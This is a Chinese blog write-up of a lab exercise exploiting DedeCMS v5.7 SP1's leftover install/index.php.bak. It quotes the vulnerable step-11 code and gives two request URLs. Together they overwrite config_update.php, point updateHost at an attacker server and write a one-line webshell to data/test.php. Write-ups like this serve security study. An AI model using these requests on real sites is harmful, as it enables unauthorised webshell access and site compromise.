dedecms-v5.7-sp1远程文件包含getshell

前段时间自己搭了个dedecms-v5.7-sp1的靶机来练手,偶然在网上发现了一篇靠谱的文章,讲的是dedecms的一个远程文件包含getshell的方法,理解了以后决定自己再写出来,以加深印象~

利用条件:首先,是目标站安装完cms后并没有删除install文件夹,漏洞文件为\install\index.php.bak 。


      其次,目标站点的Apache存在文件解析漏洞。即index.php.bak文件会被当做PHP脚本解析。


问题代码如下:


else if($step==11)
{
	require_once('../data/admin/config_update.php');
	$rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";

	$sql_content = file_get_contents($rmurl);
	$fp = fopen($install_demo_name,'w');
	if(fwrite($fp,$sql_content))
		echo '  <font color="green">[√]</font> 存在(您可以选择安装进行体验)';
	else
		echo '  <font color="red">[×]</font> 远程获取失败';
	unset($sql_content);
	fclose($fp);
	exit();
}

然而,$updateHost 变量是通过包含../data/admin/config_update.php这个文件获得的:



到此,不知各位看官是否意识到,我们可以利用index.php.bak文件 step 11中的代码,来在服务器上写入任意文件!

由于远程要包含文件的服务器地址是通过 $updateHost 控制的,那我们首先利用代码来改写../data/admin/config_update.php这个文件,使我们可以自定义 $updateHost的值,那样就可以引用任何我们想要引用的文件啦!

 

先提交这个请求url:

http://192.168.0.129/install/index.php.bak?step=11&insLockfile=a&s_lang=x&install_demo_name=../data/admin/config_update.php

 

这会让代码直接跳到step 11开始执行,到dede的远程服务器http://updatenew.dedecms.com/base-v57/dedecms/demodata.x.txt中取内容,然后写入到config_update.php文件中去。

由于demodata.x.txt文件是不存在的,所以就会取到空内容写入 config_update.php这个文件中,自然$updateHost变量就可以由我们自定义了!

 

 

构造demodata.x.txt文件中的内容为我们需要的,比如一句话等,并放在远程服务器上(由于本地测试,所以还是放在本机上了):



然后再次提交请求:

http://192.168.0.129/install/index.php.bak?step=11&insLockfile=a&s_lang=x&install_demo_name=../data/test.php&updateHost=http://192.168.0.129:700/

即可得到shell,目录为 ../data/test.php

OK,大功告成!


  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值